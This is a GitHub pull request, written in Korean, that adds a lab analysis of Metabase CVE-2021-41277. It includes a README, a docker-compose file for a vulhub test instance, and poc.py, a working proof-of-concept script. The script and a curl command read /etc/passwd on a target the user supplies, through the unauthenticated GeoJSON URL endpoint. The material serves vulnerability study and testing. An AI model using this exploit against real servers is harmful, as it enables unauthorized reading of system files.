Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[도현정/lavenderlilly]: Metabase CVE-2021-41277 분석 코드 및 결과 #184

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added CVE-2021-41277/1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added CVE-2021-41277/2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
22 changes: 22 additions & 0 deletions CVE-2021-41277/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
# Metabase의 사전 인증 로컬 파일 포함 문제 (CVE-2021-41277)

Metabase는 오픈소스 데이터 분석 플랫폼입니다.

x.40.0 부터 x.40.4 버전에서 인증되지 않은 공격자가 로컬 파일을 읽을 수 있는 취약점이 발견되었습니다.

해당 취약점은 `custom GeoJSON map(admin → settings → maps → custom maps → add a map)`을 지원하는 부분에서 발생합니다.

URL이 로드되기 전에 유효성 검사가 이루어지지 않아, 인증되지 않은 공격자가 로컬 파일을 읽을 수 있었습니다.

## 환경 구성 및 실행
1) `docker compose up -d`를 실행하여 테스트 환경을 실행할 수 있습니다.
2) `http://your-ip:3000/`에 접속하여 Metabase 페이지를 확인할 수 있습니다.
3) `python3 poc.py` 실행 후, `your-ip:3000`을 입력하여 CVE-2021-41277 취약점이 존재함을 확인할 수 있습니다.
![](1.png)
4) 프롬프트에 `curl -v http://127.0.0.1:3000/api/geojson?url=file:///etc/passwd`를 입력하면 `/etc/passwd` 파일의 내용을 읽을 수 있습니다.
![](2.png)

## 정리
공격자는 해당 취약점을 이용해, 서버의 `/etc/passwd`와 같은 민감한 파일에 접근할 수 있습니다.

역방향 프록시, 로드 밸런서, WAF 등에 적절한 규칙을 설정하여 유효성 검사 필터링을 제공하면, 이 문제를 완화할 수 있습니다.
6 changes: 6 additions & 0 deletions CVE-2021-41277/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
version: '2'
services:
web:
image: vulhub/metabase:0.40.4
ports:
- "3000:3000"
34 changes: 34 additions & 0 deletions CVE-2021-41277/poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
import requests
import colorama

colorama.init()

INCLUSION_PATH = "/etc/passwd"

def is_system_vulnerable(url):
http_endpoint = f"http://{url}/api/geojson?url=file://{INCLUSION_PATH}"
https_endpoint = f"https://{url}/api/geojson?url=file://{INCLUSION_PATH}"

try:
response = requests.get(http_endpoint)
if response.status_code == requests.codes.ok and "root:x" in response.text:
return http_endpoint
except requests.exceptions.RequestException as e:
pass

try:
response = requests.get(https_endpoint)
if response.status_code == requests.codes.ok and "root:x" in response.text:
return https_endpoint
except requests.exceptions.RequestException as e:
pass

return False

if __name__ == "__main__":
url = input("Enter the target IP or domain name: ")
result = is_system_vulnerable(url)
if result:
print(colorama.Fore.GREEN + f"The target system at {url} is likely vulnerable to CVE-2021-41277 at endpoint: {result}")
else:
print(colorama.Fore.RED + f"The target system at {url} does not appear to be vulnerable to CVE-2021-41277")